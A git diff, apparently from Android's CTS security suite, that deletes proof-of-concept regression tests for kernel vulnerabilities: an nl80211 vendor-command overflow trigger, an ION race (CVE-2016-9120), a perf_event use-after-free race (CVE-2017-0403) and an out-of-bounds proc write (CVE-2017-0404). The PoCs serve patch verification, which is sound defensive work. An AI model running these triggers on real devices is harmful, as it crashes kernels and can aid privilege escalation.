-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[256];
-
-  int i = 0;
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
-  unsigned char SSID11[DOT11_MAX_SSID_LEN];
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
-  rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-  if (!rret2) {
-    return 1;
-  }
-
-  for (i = 0; i < 4; ++i) {
-    rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-    if (!rret3) {
-      return 1;
-    }
-
-    nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index 350e283..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>  
-#include <unistd.h> 
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
-	ION_HEAP_TYPE_SYSTEM,
-	ION_HEAP_TYPE_SYSTEM_CONTIG,
-	ION_HEAP_TYPE_CARVEOUT,
-	ION_HEAP_TYPE_CHUNK,
-	ION_HEAP_TYPE_DMA,
-	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
-				 are at the end of this enum */
-	ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
-	size_t len;
-	size_t align;
-	unsigned int heap_id_mask;
-	unsigned int flags;
-	ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
-	ion_user_handle_t handle;
-	int fd;
-};
-
-
-struct ion_handle_data {
-	ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
-	unsigned int cmd;
-	unsigned long arg;
-};
-#define ION_IOC_MAGIC		'I'
-
-#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
-				      struct ion_allocation_data)
-
-#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1		/* mappings of this buffer should be
-					   cached, ion will do cache
-					   maintenance when the buffer is
-					   mapped for dma */
-#define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
-					   at mmap time, if this is set
-					   caches must be managed manually */
-                       
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
-    char* dev_path = "/dev/ion";
-    g_fd = open(dev_path, O_RDONLY);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void prepare_data() {
-    void* data = malloc(0x1000);
-    
-    g_allocation = (struct ion_allocation_data*)data;
-    
-    g_allocation->len = 0x1000;
-    g_allocation->align = 8;
-    g_allocation->heap_id_mask = 1 << 25;
-    g_allocation->flags = ION_FLAG_CACHED;
-    g_allocation->handle = -1;
-    
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-    
-    g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
-    ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
-    ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-    }
-}
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(-19, 2);
-    while (1) {
-        pthread_mutex_lock(&mutex);
-        pthread_cond_wait(&cond, &mutex);
-        trigger_ion_free();
-        pthread_mutex_unlock(&mutex);  
-    }
-    
-}
-
-
-int main(int argc, char**argv) {
-    if (open_driver() < 0) {
-        return -1;
-    }
-    setup_privi_and_affinity(0, 1);
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        pthread_cond_signal(&cond);
-        usleep(100);
-        trigger_ion_alloc();
-        sleep(1);
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index 4addb61..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-format -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
-  /*
-   * Major type: hardware/software/tracepoint/etc.
-   */
-  __u32     type;
-
-  /*
-   * Size of the attr structure, for fwd/bwd compat.
-   */
-  __u32     size;
-
-  /*
-   * Type specific configuration information.
-   */
-  __u64     config;
-
-  union {
-    __u64   sample_period;
-    __u64   sample_freq;
-  };
-
-  __u64     sample_type;
-  __u64     read_format;
-
-  __u64     disabled       :  1, /* off by default        */
-        inherit        :  1, /* children inherit it   */
-        pinned         :  1, /* must always be on PMU */
-        exclusive      :  1, /* only group on PMU     */
-        exclude_user   :  1, /* don't count user      */
-        exclude_kernel :  1, /* ditto kernel          */
-        exclude_hv     :  1, /* ditto hypervisor      */
-        exclude_idle   :  1, /* don't count when idle */
-        mmap           :  1, /* include mmap data     */
-        comm         :  1, /* include comm data     */
-        freq           :  1, /* use freq, not period  */
-        inherit_stat   :  1, /* per task counts       */
-        enable_on_exec :  1, /* next exec enables     */
-        task           :  1, /* trace fork/exit       */
-        watermark      :  1, /* wakeup_watermark      */
-        /*
-         * precise_ip:
-         *
-         *  0 - SAMPLE_IP can have arbitrary skid
-         *  1 - SAMPLE_IP must have constant skid
-         *  2 - SAMPLE_IP requested to have 0 skid
-         *  3 - SAMPLE_IP must have 0 skid
-         *
-         *  See also PERF_RECORD_MISC_EXACT_IP
-         */
-        precise_ip     :  2, /* skid constraint       */
-        mmap_data      :  1, /* non-exec mmap data    */
-        sample_id_all  :  1, /* sample_type all events */
-
-        exclude_host   :  1, /* don't count in host   */
-        exclude_guest  :  1, /* don't count in guest  */
-
-        exclude_callchain_kernel : 1, /* exclude kernel callchains */
-        exclude_callchain_user   : 1, /* exclude user callchains */
-        constraint_duplicate : 1,
-
-        __reserved_1   : 40;
-
-  union {
-    __u32   wakeup_events;    /* wakeup every n events */
-    __u32   wakeup_watermark; /* bytes before wakeup   */
-  };
-
-  __u32     bp_type;
-  union {
-    __u64   bp_addr;
-    __u64   config1; /* extension of config */
-  };
-  union {
-    __u64   bp_len;
-    __u64   config2; /* extension of config1 */
-  };
-  __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
-  /*
-   * Defines set of user regs to dump on samples.
-   * See asm/perf_regs.h for details.
-   */
-  __u64 sample_regs_user;
-
-  /*
-   * Defines size of the user stack to dump on samples.
-   */
-  __u32 sample_stack_user;
-
-  /* Align to u64. */
-  __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
-  printf("id=%d arg=%d\n",gettid(),arg);
-
-  int i;
-  struct perf_event_attr attr;
-
-  switch ((long)arg) {
-  case 0:
-    //#16123
-    printf("thread 0\n");
-    memset(&attr,0,sizeof(struct perf_event_attr));
-    attr.type = 1;
-    attr.size = sizeof(struct perf_event_attr);
-    attr.config = 1;
-
-      group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
-                    -1, 0x1ul, 0);
-
-      if(group_fd[0]<0){
-        perror("perf-group:");
-      }
-
-
-    memset(&attr,0,sizeof(struct perf_event_attr));
-    attr.type = 1;
-    attr.size = sizeof(struct perf_event_attr);
-    attr.config = 5;
-
-      child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
-      if(group_fd[0]<0){
-        perror("perf-child:");
-      }
-
-    created = 1;
-    break;
-  case 1:
-
-    while(!created){
-      sleep(1);
-    }
-
-    printf("thread 1\n");
-    close(group_fd[0]);
-
-    freed = 1;
-
-    break;
-  case 2:
-
-    printf("thread 2\n");
-
-    while(!freed){
-      sleep(1);
-    }
-
-      close(child_fd[0]);
-
-    finished = 1;
-
-    break;
-
-  }
-  return 0;
-}
-
-int poc() {
-  long i;
-  pthread_t th[5];
-  for (i = 0; i < 3; i++) {
-    pthread_create(&th[i], 0, thr, (void *)i);
-    usleep(10000);
-  }
-
-  while(!finished){
-    sleep(1);
-  }
-
-  return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
-  int pid;
-  unsigned int times;
-  times = 0;
-  printf("POC3\n");
-  printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
-  fflush(stdout);
-
-  // while(1){
-    pid = fork();
-    if(pid){
-      int status;
-      int ret = waitpid(pid,&status,0);
-
-      printf("[%d]times.\r",times);
-      times++;
-    }else
-      return poc();
-  // }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index 47c4c71..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-constant-conversion
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
-	memset(buf, 0xa0, sizeof(buf));
-
-	int fd = open("/proc/asound/version", O_RDWR);
-	if(fd != -1){
-		lseek(fd, 0x1234567800000000, SEEK_SET);
-		write(fd, buf, sizeof(buf));
-	}else{
-		perror("open error\n");
-	}
-	close(fd);
-	return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index ec6d5bf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
